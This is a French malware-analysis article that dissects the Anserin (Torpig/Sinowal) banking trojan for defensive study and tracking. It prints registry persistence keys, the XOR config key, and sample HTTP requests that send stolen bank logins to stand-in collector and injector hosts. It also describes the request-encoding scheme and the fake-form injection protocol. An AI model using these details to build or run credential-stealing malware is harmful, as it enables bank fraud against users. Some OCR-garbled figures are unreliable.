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Résumé Cet article présente une analyse approfondie d’un logiciel espion dédié au vol de
mots de passe des utilisateurs de banques en ligne : le malware Anserin. Cette analyse disseque
le fonctionnement de ce malware selon plusieurs angles : sa présence sur le systéme, son
mécanisme de vol des mots de passe, son protocole de communication réseau, ainsi que les
techniques utilisées pour déjouer les protections mises en place par les banques, telles que les
claviers virtuels. Cet article présente également les évolutions observées au cours de I'année
2007 ainsi que les méthodes et outils employés pour analyser et suivre ’évolution de ce
malware.

1 Introduction

Le malware Anserin, également connu sous le nom de Torpig ou de Sinowal, est un logiciel espion
ayant pour but de voler les mots de passe d’'un grand nombre d’internautes.

Anserin constitue ce que les experts en virologie appellent un banker.

Les bankers sont des virus informatiques dont ’objectif n’est pas de se reproduire ni de nuire
directement a la machine vérolée, mais de rester le plus discret possible et de capturer les logins
et les mots de passe des internautes lorsque ceux-ci visitent le site web de leur banque. L’un des
bankers les plus connus est InfoStealer.

Anserin se démarque d’InfoStealer par ses nombreuses innovations le rendant plus performant
(dans le sens des pirates) et plus difficile & détecter.

Une fois installé sur une machine victime, Anserin va s’attacher & enregistrer le contenu de
tous les formulaires web remplis par I'utilisateur, en particulier les formulaires d’authentification
d’un nombre défini de banques en ligne. L’une des spécificités de Anserin réside dans sa capacité
a adapter, a la volée, les formulaires d’authentification des banques en ligne afin de déjouer leurs
mécanismes de protection. Anserin est malheureusement capable de déjouer de fagon radicale toutes
ces protections, qu'il s’agisse de claviers virtuels ou de cartes a code.

Derriere ce malware se cache un protocole réseau évolué, et surtout toute une organisation adap-
tant les formulaires d’authentification des banques en ligne en fonction des nouveaux mécanismes
de protection proposés.

Cet article fait suite a 'analyse post-mortem en 2007 d’un poste qui s’est révélé étre infecté
par Anserin. Constatant la complexité et la puissance de ce banker, nous avons décidé de suivre a
la trace son évolution. Dans ce but, un environnement sain a été volontairement infecté et équipé
d’outils de monitoring. Pour suivre les nouveaux ajouts et les évolutions des formulaires pirates
ciblant les banques en ligne, nous avons développé un outil de surveillance. Ce procédé, basé sur
un simple reverse-engineering du protocole réseau de Anserin, nous a permis d’établir les constats
présentés dans cet article.

L’objectif de cet article est de présenter les évolutions passées et futures de Anserin et de proposer
nos axes de réflexion, afin de combattre ce nouveau type de menace.
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2 La matérialisation du banker

Comme tout code malicieux, le banker Anserin prend la forme de plusieurs fichiers sur le systeme
victime. Nous présentons ici les trois principaux fichiers constituant ce malware, fichiers auxquels
nous ferons référence tout au long de cet article.

Un glossaire des termes utilisés dans cet article est présent en annexe.

2.1 Le coeur du banker : la librairie ibm000z.dll

L’infection d’une machine par le malware est caractérisée par la présence d’une librairie nommée
ibm000z.dll au sein du répertoire
%CommonProgramFiles\Microsoft Shared\Web Folders\.

Cette librairie contient tout le code malicieux de Anserin. Afin de protéger le code source des
« regards indiscrets », la librairie a été obfusquée par un packer inconnu, cette protection complique
fortement une analyse statique (désassemblage).

2.2 Remarques sur I’évolution de la méthode d’exécution du malware

La méthode de démarrage de Anserin a évolué durant ’année passée.
En effet, la premiére génération de Anserin (2006) utilisait un vulgaire programme ibm000x. exe
exécuté automatiquement au démarrage de Windows a 1’aide de la clé de registre CurrentVersion\Run :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
"Shell" = "explorer.exe [__NOMBREUX__ESPACES__]
"C:\Program Files\Common Files\Microsoft Shared\Web Folders\ibm0OOX.exe"

Bien qu’efficace, cette méthode rend Anserin visible par I'utilisateur : le processus apparait dans
la liste des taches de Windows.

La génération actuelle Anserin (depuis juin 2007) n’utilise plus un fichier exécutable, mais une
librairie DLL démarrée en tant que service par le processus maitre svchost.exe (figure 1). Cette
technique simple permet de rendre Anserin invisible au niveau de la liste de taches.
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Fic. 1: Clé de registre utilisée par Anserin pour démarrer en tant que service Windows

L’utilisateur standard ne peut donc plus détecter simplement la présence de Anserin. Des outils
comme LordPE permettent cependant de mettre en évidence la présence du malware en mémoire
(figure 2).
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F1c. 2: Détection d’Anserin avec le logiciel LordPE

2.3 Le fichier de configuration local : $.2341234.TMP

Anserin utilise un fichier de configuration mis a jour régulierement.

Ce fichier est notamment utilisé pour les attaques évoluées d’injection de formulaires. Ces at-
taques consistent & modifier les formulaires d’authentification des banques en ligne afin de contour-
ner les mesures de séeurité (claviers virtuels, code de sécurité, ... ).

Le fichier de configuration est créé dans le répertoire temporaire du dossier %Windir% (par
défaut, c:\windows\temp). Il contient la liste des sites Web pouvant étre victimes d’une injection
de formulaire ainsi que les adresses IP et les noms de domaines du serveur utilisé pour réaliser ce
type d’attaque (Injector Server).

Afin de protéger ces informations, le fichier de configuration est obfusqué (figure 3). L algorithme
utilisé pour chiffrer le contenu de ce fichier est une simple opération XOR.
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F1G. 3: Extrait du fichier de configuration de Anserin

Anserin étant un malware de type banker, la majorité des sites Web attaqués sont des banques
en ligne. Le fichier de configuration du malware doit donc contenir plusieurs URL contenant le mot
clé bank. L’utilisation du logiciel XORSearch avec le mot clé bank permet de découvrir la clé utilisée
pour 'obfuscation. Le fichier de configuration peut étre déchiffré par le biais d’une opération XOR
avec la valeur 11 (figure 4).
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F1G. 4: Décryptage du fichier de configuration

La figure 5 présente un extrait du fichier de configuration déchiffré :
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Fi1G. 5: Extrait du fichier de configuration déchiffré

2.4 Le fichier de collecte : $.2341233.TMP

Un second fichier joue un role considérable dans le fonctionnement du banker : le fichier de

collecte.

Toutes les informations substituées & 'utilisateur sont stockées au sein du fichier $.2341233. TMP.
Contrairement au fichier de configuration de Anserin, le fichier de collecte n’est pas obfusqué. Ce

fichier est également créé dans le répertoire temporaire du dossier %Windirj.
Extraits du fichier C: \Windows\Temp\$\_2341233.TMP :

[gucci_108]
https://cs.server.com/dn/c/cls/auth?language=fr
auth?4C3FCF7DD5FB=133206c053b5d5¢c415d9c6d3f5e0a2b6
post
cmd(ffield_hidden): login
username (ffield_text): xmco
password(ffield_password): superpasswordsstic
login(ffield_submit): Login
reset (ffield_reset): Effacer
»"FEIP 192.168.10.71

[....]
GIIP 192.168.10.111
[Build Vasi5_109]

Application: d:\program files\internet explorer\iexplore.exe

REQUEST:
HEADERS:
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POST /DDNfr/Logon.jspx;jsessionid=5196A5A66D61F9A3F597E437420BC5B17machineldentifier=B1 HTTP/1.1
Host: net.server.be

Referer: https:// net.server.be /DDNfr/Start.jspx?language=1&banner=&pan=&gotoPage=&params=
&machineIdentifier=B1

POST_FORM:

language=1

platform=Windows

browser=InternetExplorer

counter=1

sessionID=E103012008181851318

Il est important de noter que méme si le malware évolue, celui-ci utilise toujours le méme fichier
de collecte. Toutefois, ’enregistrement des informations volées a été amélioré lors de la derniere mise
a jour du malware. En effet, des mots clés sont ajoutés afin de faciliter une analyse automatique de
ce fichier (REQUEST, HEADERS, POST_FORM, REFERER. . .).

3 La collecte des identifiants volés

3.1 Historique du vol de mots de passe

Lorsque le sujet du vol d’identifiant de connexion sur des sites de banque en ligne est évoqué,
plusieurs scénarii peuvent étre évoqués.

Tout d’abord, 1’écoute passive sur Internet. Ce scénario repose sur 'hypothese que la banque
en ligne n’utilise pas le mode HTTPS sur sa page de login et qu’un pirate contrdle un routeur d’un
opérateur sur le chemin entre le client et la banque. Le pirate serait alors capable d’écouteur le
trafic réseau émis par des utilisateurs victimes naviguant sur leur banque en ligne. Méme s’il n’est
pas impossible qu'une banque utilise un simple POST HTTP pour sa page de login, ce scénario
releve plus du mythe que de la réalité.

Vient alors attaque SSL-Man-In-The-Middle. Cette attaque est une évolution de l'attaque
Man-In-The-Middle classique, mais avec ’ajout d’une phase de relais au niveau SSL. Un tel scénario
d’attaque demeure complexe & mettre réellement en ceuvre. En effet, le principe de cette attaque
est de positionner un serveur pirate entre le client et la banque, serveur qui relaiera le trafic et
pourra ainsi voler les mots de passe. Ce type d’attaque requiert l'utilisation de certificats SSL
signés combinée avec la négligence de la victime. Ce scénario est donc difficilement exploitable a
grande échelle.

Un scénario plus simple qui permet de voler des identifiants bancaires demeure 'installation
massive de keyloggers sur les machines des victimes. Les banques ont identifié ce scénario et en
ont protégé leurs clients en imposant la saisie du mot de passe par 'intermédiaire d’un clavier
virtuel. Les keyloggers ont alors évolué en enregistrant ’écran de la victime (et non plus le clavier).
Ces outils s’appellent des Screenloggers. Ceux-ci ne se sont pas vraiment développés. Deux raisons
peuvent étre avancées : la taille des fichiers générés et la difficulté de traitement & grande échelle de
fichiers vidéos. De plus, les keyloggers et les screenloggers sont aisément détectables par les logiciels
antivirus & 'aide de signatures génériques, car ces outils utilisent des appels systémes connus et
identifiables.

Il est également important d’évoquer les scénarii d’attaques basées sur les techniques de phishing
ou de typosquatting. Ces attaques sont basées sur des campagnes de spamming qui incite des
victimes potentielles a suivre un lien vers leur banque. En dehors de la logistique complexe a mettre
en oeuvre pour le pirate, ces attaques requierent que l'utilisateur suive un lien malicieux proposé
par un email ou qu’il fasse une erreur de saisie de ’adresse URL. Ces attaques sont de plus en plus
connues des internautes et des logiciels antispam.
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Du point de vue du pirate, les méthodes évoquées ci-dessus souffrent d'un défaut commun :
celles-ci sont difficilement maintenables et industrialisables dans le temps.

Les bankers marquent une véritable évolution dans le domaine du vol d’identifiants. S’il fallait
définir le principe de fonctionnement d’'un banker vis-a-vis des attaques Man-In-The-Middle, le
terme Inside-Man serait certainement approprié.

En effet, le principe des bankers consiste a venir s’interfacer au coeur méme le navigateur web
de I'internaute victime. Il n’est alors plus question de chiffrement SSL, de certificat ou de faux
sites web : la victime navigue réellement sur le site de sa banque, pendant que le malware lit et
éventuellement modifie tout ce qui entre et sort du navigateur.

Pour s’interfacer ainsi, les bankers peuvent utiliser une fonctionnalité introduite par Microsoft
dans Internet Explorer en 1998 : les Browsers Helper Objects ou BHO!. Les BHO sont trés connus
et répandus. Les meilleurs exemples de BHO sont toutes ces barres d’outils qui s’installent en force
dans Internet Explorer.

La derniere possibilité pour les bankers consiste a utiliser des techniques de Hooking généralement
utilisées par les chevaux de Troie. Le Hooking consiste & injecter du code dans un processus afin de
modifier son fonctionnement. Cette technique permet, par exemple, de cacher I’exécution de virus
dans la liste des processus.

Anserin utilise cette technique.

3.2 Le Collector Server

Anserin, comme tous les nouveaux malwares, communique avec son serveur maitre via Internet :
nous l'appellerons le Back-Office.

L’une des spécificités de Anserin réside justement dans la mise en place d’'un Back-Office puis-
sant. Ce Back-Office est constitué de deux serveurs dédiés.

Le premier, appelé Collector Server, est dédié a la résilience du malware et a la collecte
des mots de passe. Le second, appelé Injector Server, est quant a lui dédié au stockage et a la
distribution de fausses pages d’authentification a ’effigie des banques attaquées.

Nous nous intéresserons tout d’abord au mécanisme de vol de mot de passe et au role du Collector
Server. Les aspects liés a 'injection de pages web falsifiées par le malware sont traités au chapitre
suivant.

Le schéma présenté en figure 3.2 illustre le fonctionnement global de Anserin vis-a-vis de son
Back-Office et de la banque en ligne.

Le principe de Hooking Avant de décrire le role du Collector Server, il est important de bien
comprendre comment Anserin capture les mots de passe lorsque 'internaute s’authentifie aupres de
sa banque en ligne.

Internet Explorer? est un programme dont I’architecture est modulaire et conforme au modele
COM. Le navigateur est composé de plusieurs composants qui peuvent étre utilisés et controlés
indépendamment. Cette architecture permet aux développeurs de créer de nouvelles fonctionnalités
au navigateur. Le vol des mots de passe nécessite une interaction entre le malware et le navigateur
Web de I'utilisateur. Dans ce but, Anserin interagit avec Internet Explorer en utilisant une technique
de Hooking. Toutes les entrées et les sorties de Internet Explorer peuvent ainsi étre analysées et/ou
modifiées par le malware.

! BHO : http ://msdn2.microsoft.com /en-us/library /bb250436.aspx
2 Architecture Internet Explorer :
http ://msdn2.microsoft.com/en-us/library /aa741312.aspx
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F1G. 6: Schéma global du fonctionnement de Anserin

Afin de prendre le controle du navigateur Internet Explorer, le malware s’attache a la librairie
ShDocVuw.dIB, également appelée WebBrowser Control (figure 3.2). Cette librairie fournit les fonc-
tionnalités de navigation de Internet Explorer. Le malware se retrouve donc au coeur du navigateur.

Anserin utilise principalement le Hooking pour enregistrer, au sein de son fichier de collecte,
toutes les données soumises via des formulaires HTML. Pour chaque formulaire soumis par 1'utili-
sateur victime, Anserin enregistre son contenu en y ajoutant des données de gestion. Ces données
consistent en des balises indiquant la version du malware, ’adresse IP du poste infecté, les URL
sources et destinations ainsi que tous les champs HTML envoyés au formulaire.

Extrait d’un fichier de collecte :

IP 192.168.1.111 IP de la machine

[Build Vasi5_109] Malware Version
https://banking.xmcopartners.com/login. jsp URL source
https://banking.xmcopartners.com/auth.jsp URL destination
post Methode HTTP

_source(ffield_hidden): login Donn\’ees envoy\’ees
ID(ffield_text): xmco

PWD(ffield_password): secretPassword

submit (ffield_button): Entrer

reset (ffield_reset): Cancel

Anserin identifie tous les types de champs HTML utilisés par le formulaire (champs text, pass-
word, hidden, bouton. .. ). Le malware aurait pu se contenter d’enregistrer uniquement les champs a
priori utiles pour le vol d’identifiants (text et password), cependant Anserin enregistre toutes les in-
formations. Les pirates ont choisi de conserver une certaine souplesse pour étre capables d’analyser
a posteriori les données de formulaires collectées.

La collecte de toutes ces informations permet d’identifier des processus de protection du serveur
web (clavier virtuel, utilisation de CAPTCHA, challenge-response, IIS Viewstate. .. ) afin de réaliser

3 ShDovVw.dll : http ://msdn2.microsoft.com/en-us/library/aa752040(VS.85).aspx
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/ Anserin et Internet Explorer \

MSHTML.dII
Traitement du code HTML/CSS des pages web

ShDocVw.dll (WebBrowser Control)
IShellWindows

ANSERIN

IExplore.exe
Microsoft Internet Explorer

. /

F1G. 7: Interaction entre le malware et Internet Explorer

des attaques plus évoluées. Ces attaques sont présentées dans le chapitre dédié a l'injection de
formulaires. Le protocole de collecte Anserin utilise le protocole HTTP pour communiquer avec son
Back-Office.

Périodiquement, le malware envoie discretement au Collector Server les informations dérobées

a I'utilisateur. Les informations sont alors chiffrées et envoyées au sein de requétes HT'TP.
La requéte suivante illustre I’envoie des informations concernant la navigation précédente sur le
site banking.xmcopartners.com.

POST /0123456789ABCDEF/0zIh4BNjUVVrr3ZUJkYDgKZmFuBy8xBVXGOFdmdQ1sVDUmFwBxY1NOt/
16QhEnOgJhZW4NIDVDQ7WmKgUKYW1QfHUHB3RrXkfx63RcUmJtVDsuFOE8MxAFoqU1GhV6fFUyLQEK
cm5TCuW2JRcFAGZXMyESDnAnFVa692VCZHZhR296RkEOZw8a5uZyDQR1aVVwZQQFdmdQQbKiUWB3Bh
Uj0isUBXZnUEGyqSBNU= HTTP/1.1

Content-Type: multipart/form-data; boundary=swefasvqdvwxff

Host: collector-server.com

Content-Length: 1194

User-Agent: MSID [1234567890ABCDEF1234567]|Build Vasi5|109

Cache-Control: no-cache

-—-swefasvqdvwxff

Content-Disposition: form-data; name=datafile; filename="data.str"
Content-Type: application/octet-stream
bnbiBW0zMQcGJDZzYxEBbg5D4dECYrBHBgU1M8Bw8W6vJyTBADBDKMcESbM31aV/vhcFtgKDEKZXVL
FwoZangKnRpNUys4AykqDVYnNwob7MB4QV0iMgsmcEFGPDAcKYqdHS09TV1qChoqOkpaZwD89G4tPU
1dY3BpTRsnJhIcrvt3Shc2IQ1nYVITPDAOG/2zek1£fK jUBbDwJADMnFwvpnROtPUQnGWO9S1QsPwxe
7Pd6B0Yx0gdxYkNMID4LDaT6£U9aJTYMLDkQQzcnGxmKnROtPUldagoaKj4aY1JM1q13VVIUcA9qdl
F4GVpqeoqdHS09TV1qAiISDWJItSOWyqjYdBXROOk

--swefasvqdvwxff--

Toutes les données sont envoyées chiffrées sous la forme d’un fichier binaire (ie data.str) au
Collector Server. La clé de chiffrement/déchiffrement est en fait incluse avec la requéte dans la
premiere partie de 'URL (ie 0123456789 ABCDEF).

Il est intéressant de noter que les versions précédentes de Anserin utilisé la valeur MSID de
lentéte HT'TP User-Agent comme clé de chiffrement. Cette technique a été abandonnée au profit
d’une clé contenu dans 'URL.

Nous avons pu découvrir 'algorithme de chiffrement et ainsi déchiffrer ces requétes. Cet algo-
rithme est décrit plus loin dans ce document.
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Le déchiffrement de la requéte envoyée permet de remarquer que le malware envoie également
d’autres informations que les identifiants volés.
Requéte déchiffrée :

POST /0123456789ABCDEF/id=1234567890ABCDEF1234567&sv=109&build=Build’%20Vas
iB&ts=1204201312%ip=192.168.1.111&sport=8796&hport=8744&os=5.1.2600&cn=
France&nid=0123456789ABCDEF&bld=Build Vasib&ver=109 HTTP/1.1

Content-Type: multipart/form-data; boundary=swefasvqdvwxff

Host: collector-server.com

Content-Length: 1194

User-Agent: MSID [1234567890ABCDEF1234567] |Build Vasi5|109

Cache-Control: no-cache

--swefasvqdvwxff

Content-Disposition: form-data; name=datafile; filename="data.str"
Content-Type: application/octet-stream

IP 192.168.1.111

[Build Vasi5_109]
https://banking.xmcopartners.com/login. jsp
https://banking.xmcopartners.com/auth. jsp
post

_source(ffield_hidden): login
ID(ffield_text): xmco
PWD(ffield_password): secretPassword
submit (ffield_button): Entrer
reset(ffield_reset): Cancel
--swefasvqdvwxff--

Le malware insere dans I'URL des informations sur le systeme d’exploitation de la victime.
Anserin renseigne le Collector Server sur la localisation géographique du poste infecté, son adresse
IP et le numéro des ports (sport et hport) des proxies ouverts. En effet, Anserin installe un proxy
HTTP et un proxy SOCKS sur chaque poste victime. Le propos de notre article est uniquement
centré sur 'aspect banker de Anserin, nous n’approfondirons pas ici ces fonctionnalités.

Le tableau ci-dessous décrit les différents parametres de 'URL envoyée par le malware :

Nom du parameétre Description Exemple
/0123456789ABCDEF/ | Clé de chiffrement. POST /0123456789ABCDEF/....
id MSID : identifiant du malware. | id=1234567890ABCDEF1234567
Cette valeur est générée
aléatoirement lors de
I’installation du malware
3% Version du malware sv=109
build build=Build Vasi5
bld bld=Build Vasi5
ver ver=109
ts Timestamp. ts=1204201312

Cette donnée correspond a la
date de derniére mise a jour du

malware.

ip Adresse TP de la machine | ip=192.168.1.111
infectée

sport Port TCP du proxy SOCKS du | sport=8796
malware

hport Port TCP du proxy HTTP du | hport=8744
malware

[\ Version de Windows 05=5.1.2600

cn G¢éolocalisation de la machine | cn=France
infectée

nid Clé de chiffrement utilisé nid=0123456789ABCDEF
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Le serveur renvoie dans sa réponse la chaine de caractére oka qui indique au malware que les
données ont été regues correctement. Si le malware regoit une autre réponse, celui-ci renverra la
méme requéte sur un autre serveur. Ce fonctionnement est utilisé en cas de fermeture du Collector
Server. Un mécanisme complexe de résilience a été mis en ceuvre, ce mécanisme est présenté dans
le paragraphe 5.

Réponse du Collector Server :

HTTP/1.1 200 OK

Date: Tue, 25 Feb 2008 05:14:18 GMT
Server: Apache

X-Powered-By: PHP/5.0.4
Content-Length: 4

Connection: close

Content-Type: text/html; charset=UTF-8

oka

3.3 L’algorithme de chiffrement de Anserin

L’algorithme de chiffrement de Anserin est utilisé pour chiffrer les communications entre le
malware et les serveurs du Back-Office. Cet algorithme repose essentiellement sur une opération de
type XOR.

Le schéma présenté en figure 3.3 illustre le mécanisme de génération de requétes HTTP : les URL
des requétes HTTP, leur réponse et le fichier de collecte data.str sont chiffrés avec cet algorithme.

/

Message

id=1234567890ABCDEF12345678&sv=109&build=Build%2
0Vasi5&ts=1204201312&ip=192.168.1.111&sport=87968h
port=8744&0s=5.1.2600&cn=France&nid=0123456789AB

CDEF&bld=Build Vasi5&ver=109

Translation Hexadécimal
69643D313233343536373839304142434445463132333

031323334353637383941424344454626626C643D4275
696C64205661736935267665723D313039

| AN 4

Inversion

2 ce
930313D327566762539637 16650246C6965724D346C6 0123456789ABCDEF
724D346C696572662930313D36737627363534333231
36454443424140393837363534333231 3034696
\ f Génération de la requéte HTTP
XOR ot Encodage BASE64

[ \ POST /0123456789ABCDEF/ozIh4BNjUVVrr3ZUJ

KYDgKZmFuBy8XBVXGOFdmdQ1sVDUmMFWBXYIN
0zlh4BNjUVVIr3ZUJkYDgKZmFuBy8xBVXGOFdmdQ1sVDUm Ot16QhENOgJhZWANIDVDQ7WMKgUKYWIQFHU
FwBxYINOt16QhENnOgJhZW4NIDVDQ7WmKgUKYWIQfHUHB HB3RrXkfx63RcUmJtVDsuFOE8MxAFoqUIGhVETF
3RrXkix63RCUMJIVDSUFOEBMXAFoqUIGhV6TFUYLQEKemSTC UyLQEKCmSTCUW2JReFdGZXMyE SDRANFY692
UW2JRCFAGZXMyESDNANFVa692VCZHZhR296RKEOZw8a5u VCZHZNR296RKE OZwBa5uZyDAR1aVVWZQFdmd
ZyDQR1aVVwZQF dmdQQbKiUWB3BhUjOisUBXZnUEGYaSB QQbKIUWB3BhUJOIsUBXZnUEGyGSBNU HTTP/
NU 11

\: - F

\

F1c. 8: Génération d’une requéte HTTP chiffrée par Anserin

Le principe de I'algorithme est le suivant : Le message initial est encodé en hexadécimal puis
inversé (les premiers seront les derniers). Le résultat est ensuite chiffré avec une simple opération
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XOR. Cette opération utilise une clé générée aléatoirement a l'installation du malware. Comme
nous I'avons déja évoqué, cette clé est ensuite envoyée en clair avec chaque paquet chiffré. La raison
de cette aberration cryptographique n’a pas été déterminée. Notre hypothese est que les pirates
ne souhaitent pas vraiment mettre en place une PKI complexe et peu fiable, mais ont simplement
souhaité rendre la tache des analystes plus difficile et se protéger des regards indiscrets.

Nous avons développé un outil Java pour chiffrer/déchiffrer des requétes HTTP (Figure 9) :

XMCO | PARTNERS Trojan.Anserin HTTP Request Forgery/Analysis

Key :
0123456789ABCDEF

Clear Text :

id=1234567890ABCDEF1234567&sv=109&build=Build%20Vasi5&ts=1204201312&ip=192.168.1.111&sport=879
6&hport=8744&05=5.1.2600&cn=France&nid=0123456789ABCDEF&bld=Build Vasi5&ver=109

Cypher Text :

0zlh4BNjUVVIr3ZUJkYDgKZ mFuBy8xBWXCOFdmdQls VDUmFwBxYINOt/ 16QhEnOg/hZW4NIDVDQ7
'WmKgUKYWIQfHUHB3RrXkfx63RcUmJtVD suFOEEMxAFoqUIGhVEfFUYLQEKcm S TCuW2JRcFAGZXMy
ESDnANFVag92VCZHZhR296RKEOZwBaSuZyDQR LavVWwZ QQF dmdQQbKIUWB3BhUjOisUBXZnUECyqS
BNU=

[ Crypit ) Decrypt it )

F1G. 9: Outil de chiffrement/déchiffrement des requétes HT'TP de Anserin

4 L’injection de formulaires malicieux

La fonctionnalité fondamentale de Anserin est d’enregistrer et d’envoyer au Collector Server le
contenu de tous les formulaires HTML soumis par la victime.

Conscientes de ce type de risque, les banques en ligne ont ajouté des protections a leurs for-
mulaires de login afin de contrecarrer ces malwares. Ces protections reposent toutes sur le méme
principe : introduire un facteur aléatoire imposé par le serveur lors de la phase d’authentification.
Ainsi, la phase d’authentification ne peut étre rejouée.

L’implémentation la plus répandue aujourd’hui de ce type de protection est le clavier virtuel : le
mot de passe n’est pas envoyé au serveur, seule la position des touches cliquées par 'utilisateur est
envoyée au serveur. Bien évidemment, la position des touches sur le clavier virtuel sera différente
chaque session. Il sera donc impossible de rejouer la position des touches.

La sécurité informatique étant un éternel jeu du chat et de la souris, une fonctionnalité ingénieuse
a été ajoutée a Anserin afin de déjouer ces protections : 1'Injector Server.

Le principe de I'Injector Server est simple : anéantir le facteur aléatoire introduit par la banque
en controlant le formulaire de saisie affiché a 'utilisateur.
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4.1 L’Injector Server

L’ Injector Server est utilisé par Anserin pour mener des attaques évoluées a I’encontre des sites
de banque en ligne. Ces attaques consistent en l'injection de formulaires HTML préalablement
falsifiés et stockés sur I’Injector Server. La figure 4.1 présente les différentes phases d’une telle
attaque.

‘
homebanking.xmcopartners.com
*banking.xmcopartners.com ?

Injector Server

3
Inject this fakepage i
on /login.aspx K Collector Server /

aa

Anserin

* Homebanking.xmcopartners.com
Login : xmeo
Password : mySecret
4 N° SS : 0123456789
SecretAnswer : myDogName

F1G. 10: Scénario d’injection d’un formulaire falsifié

L’ Injector Server n’est pas systématiquement utilisé. Celui-ci n’est utilisé que pour la liste
des banques déclarées dans le fichier de configuration local du malware. Ces banques sont déclarées
sous la forme d’expressions régulieres : *.banking.xmcopartners.com/bank/login.jsp.*. Lorsqu’un
utilisateur navigue sur un site web, le malware vérifie la présence de ce site au sein de son fichier
de configuration. Si le site est présent, le malware envoie une requéte a 1'Injector Server pour
déterminer le traitement a effectuer. Ce mécanisme est décrit dans le paragraphe suivant.

Dans tous les cas, le processus de vol de mots de passe standard est utilisé : le contenu du
formulaire posté sera enregistré dans le fichier de collecte.

L’exemple suivant (figure 4.1 et figure 4.1) illustre ce processus. L’Injector Server est utilisé
pour renvoyer un clavier virtuel fixe. L’utilisateur cliquera sur la combinaison des chiffres de son
code secret qui sera enregistrée dans le fichier de Collecte. Le malware redirige alors 1'utilisateur
sur le réel formulaire de la banque en ligne laissant croire & une erreur de saisie de la victime.

L’ Injector Server est utilisé pour injecter des formulaires falsifiés sur des centaines de sites Web.
Ces sites sont classés en fonction du pays d’origine (figure 4.1).

4.2 Le protocole d’injection

Anserin utilise également le protocole HTTP pour communiquer avec 1’ Injector Server.
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F1c. 12: Clavier virtuel fixé et injecté

Le protocole d’injection est divisé en 2 étapes. La premiere consiste en I'interrogation de I’ Injector
Server sur les actions a effectuer pour un site donné et les contraintes d’exploitation. Lorsque toutes
les conditions d’exploitation sont réunies, la seconde étape consiste en l'injection ponctuelle d’un

formulaire falsifié.

La premiere requéte permet de renseigner le malware sur la méthode d’injection & mener (nom de
la page contenant le formulaire & modifier, URL du formulaire falsifiée...). Cette opération consiste
a envoyer une requéte HT'TP avec en parameétre I’'URL de la banque en ligne.

Premiere requéte :

GET /Bysn457/i1d=1234567890ABCDEF1234567&p1=2&p2=banking.xmcopartners.com&
p3=0 HTTP/1.1

Host: injector-server.com

User-Agent: MSID [1234567890ABCDEF1234567]|Build Vasi5|109

L’entéte HTTP User-Agent contient I'identifiant du malware (MSID). Cet identifiant est contr6lé
par I'Injector Server avec une liste d’identifiants bloqués (mécanisme de blacklist). Si 'identifiant
est blacklisté, alors le serveur renvoie une page vierge. Le tableau ci-dessous décrit les différents
parametres de ’'URL envoyés par le malware :
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dex of index of Jusa
<l (e ([ g rctor—server” (& Google <[> 11 ¢ | [+ ] @nup/mjector-serverjusal ~(@-
1 index of / | Index of Jusa |
== : \
[ ) 19-sep-2007 19:44 - Index of /usa
[ W] 17-Mar-2008 09:59 - Name Last modified Size Deseription
[ 19-sep-2007 19144 -
O 19-5p-2007 19:44 - Pazent Director: 04-peb-2008 15:05 -
[ ] 17-Mar-2008 10:00 - abbeyinternational.con.oho.htnl 17-Maz-2008 10:18 1k
[ 993 09-0ct-2007 19:11 - 17-Mar-2008 10:18 25k
O 19-50p-2007 19:45 - 17-Mar-2008 10:18  3ak
= 19 19-5ep-2007 19145 - 17-Mar-2008 10:18 40k
[e] 19-5ep-2007 19:45 - 19-5ep-2007 19:51 -
(] 19-50p-2007 19:46 - ] bankosbernuds . con.php. html 17-Mar-2008 10:19 20k
(] 19-56p-2007 19:46 - bankofoklahoma . oho. html 17-Mar-2008 10:19 24k
Q 17-0ct-2007 07:11 - bankoss heal 17-Mar-2008 20:19 21k
(=] 09-00£-2007 19535 - 17-Mar-2008 10:19 41k
O 19-5ep-2007 19:47 - 19-5ep-2007 19:51 -
Q ll-oct-2007 13:00 - 17-Mar-2008 10:19 20k
Q. 19-Sep-2007 19147 - 17-Mar-2008 10:19 31k
ED] 19-5ep-2007 19:47 - 1 17-Mar-2008 10:19 1%
10-Mar-2008 09:11 -

e a 17oMar-2008 10:19 1k

chase.oho.htrl 17-Mar-2008 10:19 89K
:ffpf:; :zz . services.ohp.htsl 17-Mar-2008 10:19 17k

17-Mar-2008 10:19 23k

0 e 09-0ct-2007 19:11 - 17-Mar-2008 10:19 27k
Q 19-56p-2007 19:50 17-Mar-2008 20:19 16k
Bu 25-Fob-2008 18:18 )
[, 25-7eb-2008 21506 .

F1ac. 13: Stockage des formulaires falsifiés sur

I’ Injector Server

Nom du paramétre

Description

Exemple

/Bysnd57/

Dossier contenant les formulaires
falsifiés et le service de traitement
des requétes du malware.

id

MSID : identifiant du malware. Cette
valeur est générée aléatoirement lors
de I'installation du malware

id=1234567890ABCDEF 1234567

pl

Type de requéte :

s pl=0: Meéthode d’injection
liée a la banque fournie dans
le parameétre suivant

¢ pl=1: Liste des banques
gérées par I'Injector Server

pl=2

p2

URL du site de la banque en ligne.

p2=banking xmcopartners.com

Chiffrement de la réponse de
I"Injector Server
*  p3=0: Aucun chiffrement
e p3=1: Algorithme
Chiffrement inconnu
s p3=2: Chiffrement Anserin

dont la clé est le MSID

de

p=0

Réponse de I'Injector Server :

HTTP/1.1 200 OK
Date: Fri, 21 Mar 2008 12:24:47 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 68

Connection:

close

Content-Type: text/html; charset=windows-1251

banking.xmcopartners.com /login.jsp /fr/banking.xmcopartners.com.php 2 0 2 1

Le tableau suivant illustre les différents formats de réponses du serveur en fonction de la valeur
du dernier parametre envoyé par le malware.
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Parametre Réponse du serveur Remarques

p3=0 banking xmcopartners.com /loginjsp | Aucun chiffrement
/fr/banking xmcopartners.com.php 2 02 1

p3=1 ] Chiffrement inconnu

[ Uz [ Uz 7z

_ [ [ UGUEUAUDxO

p3=2 oka Chiffrement avec Ila
1041 BWNjYOFDo+tkaglblzpAY VZdJyESE2xAXistRB3q+ | valeur du MSID du
GplRItmIgwzAOASPUOadEXfLHNOHOD9J2ZRWiAmEnN | malware
cUC47THVROSIgtMgEQ=—

La réponse de I'Injector Server renseigne le malware sur le déroulement du vol des identifiants
de T'utilisateur.

La réponse du serveur contient les informations suivantes :

siteWeb urlForm urlFormFalsifie typeHTTP cptAvantInjection nbMaxInjection Statut

Les données regues peuvent étre scindées en deux parties. La premiére partie de la réponse (en
rouge) indique au malware la maniére dont le formulaire doit étre injecté, typiquement quelle page
du site Web doit étre remplacée et 'URL du formulaire falsifié.

